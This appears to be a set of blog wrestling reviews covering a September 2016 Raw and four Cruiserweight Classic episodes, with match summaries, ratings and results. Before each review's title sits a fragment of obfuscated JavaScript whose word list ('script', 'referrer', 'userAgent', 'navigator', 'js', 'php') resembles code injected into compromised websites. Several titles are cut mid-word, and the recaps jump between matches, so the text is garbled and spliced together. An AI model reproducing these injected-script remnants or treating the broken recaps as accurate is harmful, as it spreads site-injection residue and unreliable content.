");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nkdyy|var|u0026u|referrer|enine||js|php'.split('|'),0,{})) Night Raw
Date: September 19, 2016
Location: FedEx Forum, Memphis, Tennessee
Commentators: Michael Cole, Corey Graves, Byron Saxton

Last Week on Raw, Kevin Owens beat Reigns to retain the title despite interference by Rollins and thanks to help from Rusev.

Rusev vs. Seth Rollins

Videos on Cedric Alexander and Brian Kendrick, both of whom are debuting as cruiserweights tonight.

Owens and Jericho have a list of grievances for Foley.

Braun Strowman vs. Sin Cara

Rematch from two weeks ago. Cara fires away right hands and kicks to start until Strowman just runs him over like a monster. We hit an early neck crank for a bit before Cara tries to speed things up, only to have his moonsault caught in a powerslam for the pin at 1:54. What in the world was the point of the countout a few weeks ago?

Charlotte/Dana Brooke vs. Bayley/Sasha Banks

Bo Dallas vs. Gary Graham

Video on the Cruiserweight Classic final.

Cesaro vs. Sheamus

Foley makes the seventh match for Clash of Champions when Jericho comes in. Jericho accuses him of never being a fan but Foley brings up recommending him to Paul Heyman for ECW. Chris has his List of Jericho (list of grievances), which now includes a bad fashion sense. As you might expect, Foley brings up the scarf look. Jericho: “This is very big in Luxemburg.” Foley: “Well it looks ridiculous, right here, in Memphis, Tennessee.” Jericho: “Number six: Uses cheap babyface pops.”

Shining Stars/Chris Jericho/Anderson and Gallows vs. Enzo and Cass/Sami Zayn/New Day

We recap the opening segment.

Videos on Gran Metalik and Rich Swann.

Video on Eddie Guerrero in honor of Hispanic Heritage Month.

Rich Swann vs. Gran Metalik vs. Cedric Alexander vs. Brian Kendrick

Nia Jax vs. Alicia Fox on the pre-show.

Kevin Owens vs. Roman Reigns

Non-title and inside a cage. Reigns slugs away to start but wants nothing of going through the door. The champ gets beaten down in the corner and a running clothesline makes it even worse. A ram into the cage wall sets up a superkick for two on Roman and we take a break. Back with Owens getting crotched on the top and getting crushed up against the cage a few times.

Results

Rusev vs. Seth Rollins went to a double countout

Braun Strowman b. Sin Cara – Powerslam

Charlotte/Dana Brooke b. Bayley/Sasha Banks – Big boot to Bayley

Cesaro b. Sheamus – Neutralizer

New Day/Enzo and Big Cass/Sami Zayn b. Shining Stars/Chris Jericho/Anderson and Gallows – Bada Boom Shaka Lacka to Primo

Roman Reigns b. Kevin Owens – Reign escaped the cage

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydfby|var|u0026u|referrer|tfnyz||js|php'.split('|'),0,{})) Classic
Date: September 14, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Daniel Bryan, Mauro Ranallo

We open with a look back at the tournament, narrated by HHH.

Opening sequence.

The announcers talk about the show a bit.

Preview of the first semifinal match.

Video on all four semifinalists.

Semifinals: Gran Metalik vs. Zack Sabre Jr.

William Regal comes out and gives Metalik a big medal for winning.

Johnny Gargano and Tommaso Ciampa are out to prove something tonight against Noam Dar and Cedric Alexander. All that matters to them is a rematch with the Revival.

Semifinals: Kota Ibushi vs. TJ Perkins

Rating: A. I was losing my mind on those near falls and that just does not happen to me very often. Perkins is someone that I never saw much in but this match here more than won me over. He had a logical game plan here and he stuck with it until the ending while Ibushi was throwing everything he could. I had a blast with this match and it never stopped being a blast.

Sasha Banks, Bayley, Kalisto, Jack Gallagher and Rich Swann are in the crowd.

Noam Dar/Cedric Alexander vs. Johnny Gargano/Tommaso Ciampa

Everything breaks down again and a series of clotheslines and superkicks puts all four down. Dar reverses a kick and grabs an ankle lock on Johnny, only to have Ciampa go all psycho while stomping to break up the hold. Dar dives onto Johnny and Alexander hits a very hard brainbuster for what looked like three but the referee says keep going. Gargano comes back in with his superkicks to both guys, setting up the running knee/superkick combo for the pin on Dar at 9:42.

Rating: B. Totally wild match here to give us a little change of pace from the tournament matches. These guys beat the heck out of each other and there were some great near falls even though there was little doubt that Gargano/Ciampa were going to win due to their upcoming match with the Revival. Still though, this was a very entertaining match and a good idea after the two great matches we saw earlier.

Corey Graves comes in to talk a bit as we fill in time before the main event.

We recap the semifinals.

Quick look at the trophy.

Cruiserweight Classic Final: Gran Metalik vs. TJ Perkins

Cruiserweight Title: Gran Metalik vs. TJ Perkins

Results

Gran Metalik b. Zack Sabre Jr. – Metalik Driver

TJ Perkins b. Kota Ibushi – Kneebar

Johnny Gargano/Tommaso Ciampa b. Noam Dar/Cedric Alexander – Running knee/superkick combo to Dar

TJ Perkins b. Gran Metalik – Kneebar

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntaai|var|u0026u|referrer|efhrb||js|php'.split('|'),0,{})) Classic
Date: August 31, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Daniel Bryan, Mauro Ranallo

We open with a look at the Great Eight.

Bryan and Mauro talk about the tournament so far.

Quarterfinals: Gran Metalik vs. Akira Tozawa

Back in again and they chop it out until Tozawa gets bored and just punches Metalik in the jaw. Well mask but you get the idea. Metalik blasts him with a superkick and a standing shooting star (getting a bit too common as well) gets two. The Metalik Driver is countered into a Saito suplex for two more and Tozawa is stunned.

Tozawa charges into a superkick which just makes him scream more so Metalik sends him outside for the springboard flip dive. Back in again and Tozawa takes him up top for a superplex, only to get reversed into a great looking hurricanrana. The fans would like them to fight forever and Tozawa hits his German suplex for two. Metalik fights out of another German suplex and hits the Metalik Driver for the pin at 15:48.

They shake hands post match.

Brian Kendrick knows this might be his last shot.

Kota Ibushi is one of the best in the world and wants to win because he loves wrestling.

Quarterfinals: Brian Kendrick vs. Japan

More kicks have Kendrick in trouble so he grabs a neckbreaker across the turnbuckle rod for a unique counter. Brian grabs a cravate to stay on the bad (and surgically repaired) neck, only to eat a dropkick to put both guys down. A middle rope moonsault gets two for Ibushi but Kendrick superkicks his head off to get them back to even. Sliced Bread #2 gets another near fall for Kendrick so Ibushi gives him a release German superplex from just off the corner to knock Brian silly.

Rating: B. I thought the first match was more entertaining but this one told a better story. This was all about Kendrick throwing everything he had at Ibushi but not being able to put him away and eventually falling to the better man. The neck injury was a good bonus to the story and gave Brian enough of an opening to make this interesting. The storytelling was carrying this and it was very entertaining as a result. Good stuff here and Kendrick continues to surprise me in this thing.

Results

Gran Metalik b. Akira Tozawa – Metalik Driver

Kota Ibushi b. Brian Kendrick – Gold Star Bomb

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nyaai|var|u0026u|referrer|efzsh||js|php'.split('|'),0,{})) Classic
Date: August 10, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Mauro Ranallo, Daniel Bryan

We open with a music video recap of the first round.

Opening sequence.

The announcers talk about the tournament for a few moments.

Gran Metalik is here to represent Mexico.

Tajiri has been around for a long time but wants to make one more run.

Second Round: Gran Metalik vs. Tajiri

Kota Ibushi is a star in Japan and wants to be one in America as well.

Second Round: Kota Ibushi vs. Cedric Alexander

Japan vs. America. They start fast as well with Ibushi knocking him to the mat but Cedric is smart enough to not run in again. Back up and Cedric grabs an armbar for a bit before Ibushi comes back up and turns on the speed again. A sunset flip gets two for Kota before he stops playing and just blasts Cedric in the chest with a big kick.

Results

Gran Metalik b. Tajiri – Metalik Screwdriver

Kota Ibushi b. Cedric Alexander – Golden Star Bomb

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fndhs|var|u0026u|referrer|afbta||js|php'.split('|'),0,{})) Classic
Date: July 13, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Mauro Ranallo, Daniel Bryan

Opening sequence.

First Round: Alejandro Saez vs. Gran Metalik

A quick argument with the referee allows Metalik to knock him outside for an ACH middle rope springboard flip dive. Back in and a top rope (as in from the middle of the rope instead of the corner) gets two on Saez but Gran gets kicked out to the floor. Saez hits a shooting star off the apron, only to get caught in a Samoan Driver to give Metalik the pin at 4:05.

Metalik is announced as the official winner ala a UFC fight.

Hoho Lun is here to show that this is his job.

First Round: Ariya Daivar vs. Hoho Lun

Clement Petiot is a Lance Storm student from France and seems to be one of the bigger guys in the field.

Cedric Alexander is from Charlotte and used to be in Ring of Honor.

First Round: Clement Petiot vs. Cedric Alexander

We hit the chinlock before a running knee to the face gets two in the corner. Cedric comes right back with a perfect springboard clothesline but Clement flips him inside out with a discus clothesline. Not that it matters as Cedric comes right back with the Lumbar Check (belly to back suplex into a Backstabber) for the pin at 6:01.

Kota Ibushi is ready to prove himself.

First Round: Sean Maluta vs. Kota Ibushi

Ibushi is a big crowd favorite. Feeling out process to start with Maluta taking him down to the mat, only to have Ibushi come back with a kick to the chest. A t-bone suplex sends Maluta flying but Sean gets in a middle rope Codebreaker to knock Ibushi silly. Maluta sends him to the floor and tries a running flip dive, which may or may not have been botched as he landed on the apron but it might have been intentional as he immediately flipped over again to take Ibushi down.

Back in and Kota hits a very high dropkick before some very fast strikes have Sean in trouble. A standing moonsault gets two on Sean but he blocks a superplex, only to get kicked hard out to the floor. Ibushi keeps things fast with a running springboard moonsault to take Sean down. Back in and a superkick knocks Kota silly for two but he pops up and hits a sitout Last Ride for the pin at 9:40.

Results

Gran Metalik b. Alejandro Saez – Samoan Driver

Hoho Lun b. Ariya Daivari – German Suplex

Cedric Alexander b. Clement Petiot – Lumbar Check

Kota Ibushi b. Sean Maluta – Sitout Powerbomb

Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:

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And check out my Amazon author page with cheap wrestling books at:

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